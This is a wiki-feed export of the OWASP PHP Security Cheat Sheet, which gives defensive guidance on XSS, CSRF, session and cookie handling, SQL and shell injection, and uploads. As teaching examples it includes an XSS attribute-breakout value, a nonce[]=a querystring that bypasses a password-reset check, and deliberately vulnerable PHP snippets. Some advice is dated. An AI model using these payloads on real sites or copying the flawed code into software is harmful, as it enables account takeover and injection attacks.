'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184337</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184337"/>
				<updated>2014-10-30T08:37:48Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* PHP overview */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experience PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
